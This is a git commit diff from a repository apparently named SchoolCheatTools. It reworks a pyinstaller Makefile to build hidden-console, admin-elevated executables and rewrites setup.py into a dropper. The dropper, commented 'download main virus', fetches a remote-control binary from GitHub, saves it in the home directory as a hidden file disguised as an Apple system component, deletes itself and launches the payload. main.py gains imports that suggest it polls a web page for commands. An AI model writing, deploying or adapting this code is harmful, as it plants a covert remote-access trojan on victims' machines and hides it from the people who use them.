diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 09:40:46 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 09:40:46 +0800 |
| commit | 0a72753d92e7e4ca9875deabb4c654fa11272166 (patch) | |
| tree | 26a1b51e55d7f1d7cc38290b02bcd60117b47ba4 | |
| parent | 1aece480cc46b03dc1a24f94f22431c033398990 (diff) | |
updated
| -rw-r--r-- | Makefile | 44 | ||||
| -rw-r--r-- | main.py | 2 | ||||
| -rw-r--r-- | setup.py | 14 |
3 files changed, 34 insertions, 26 deletions
@@ -6,27 +6,39 @@ MAGENTA=\033[0;35m YELLOW=\033[0;33m #PROGRAM NAME -PROG = setup SchoolCheatTools +PROG1 = setup.py +PROG2 = main.py SRC = $(wildcard *.py) SPEC = .spec DIR = $(shell pwd) FILES = build *.spec -#COMPILER variable +#COMPILER variable CC = pyinstaller -CFLAGS = --clean --noconfirm# --noconsole & --uac-admin in .spec +CFLAGS = --clean --noconfirm --noconsole --uac-admin -F + #rules and recipes -cleanspec: compile - @printf "$(YELLOW)Cleaning ...$(NC)\n" - @rm -rf $(FILES) - @if [ $$? -eq 0 ]; then printf "$(MAGENTA)Files $(FILES) are removed successfully\n"; else printf "$(RED)Error: Files $(FILES) are not removed\n"; fi - -compile: - @rm -rf $(PROG) $(PROG).app - @printf "$(YELLOW)In porcess ... to compile the $(GREEN)$(PROG)${NC}\n" - $(CC) $(CFLAGS) $(SPEC) - @printf "$(YELLOW)$(PROG)$(GREEN) compiled successfully${NC}\n" - -run: compile - @./$(PROG) +all: build cleanspec + +cleanspec: + @printf "$(YELLOW)Cleaning spec...$(NC)\n" + @rm -rf $(FILES) + @if [ $$? -eq 0 ]; then printf "$(MAGENTA)Files $(FILES) are removed successfully\n"; else printf "$(RED)Error: Files $(FILES) are not removed\n"; fi + +build: + @rm -rf $(PROG1) $(PROG1).app + @rm -rf $(PROG1) $(PROG2).app + @printf "$(YELLOW)In porcess ... to compile the $(GREEN)$(PROG1)${NC}\n" + $(CC) $(CFLAGS) $(PROG1) + @printf "$(YELLOW)In porcess ... to compile the $(GREEN)$(PROG2)${NC}\n" + $(CC) $(CFLAGS) $(PROG2) + @printf "$(YELLOW)$(PROG1) $(PROG2)$(GREEN) compiled successfully${NC}\n" + +run: build + @open ./dist/* + +clean: cleanspec + @printf "$(YELLOW)Cleaning...$(NC)\n" + @rm -rf dist + @if [ $$? -eq 0 ]; then printf "$(MAGENTA)Files dist(*) are removed successfully\n"; else printf "$(RED)Error: Files dist(*) are not removed\n"; fi @@ -1,5 +1,7 @@ from bs4 import BeautifulSoup from requests import get +from time import sleep +from os import system old_command = "" command = "" @@ -1,19 +1,13 @@ -from os import system, execvp -from time import sleep -from sys import argv from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc -# download main virus -open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/SchoolCheatTools/main/SchoolCheatTools", allow_redirects=True).content) +filename = "com.apple.com.user.core" -try: - filename = argv[0].split('/')[-1] -except: - filename = argv[0] +# download main virus +open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) -remove(filename) +remove(__file__) subproc([f"{expanduser('~')}/.{filename}"]) |
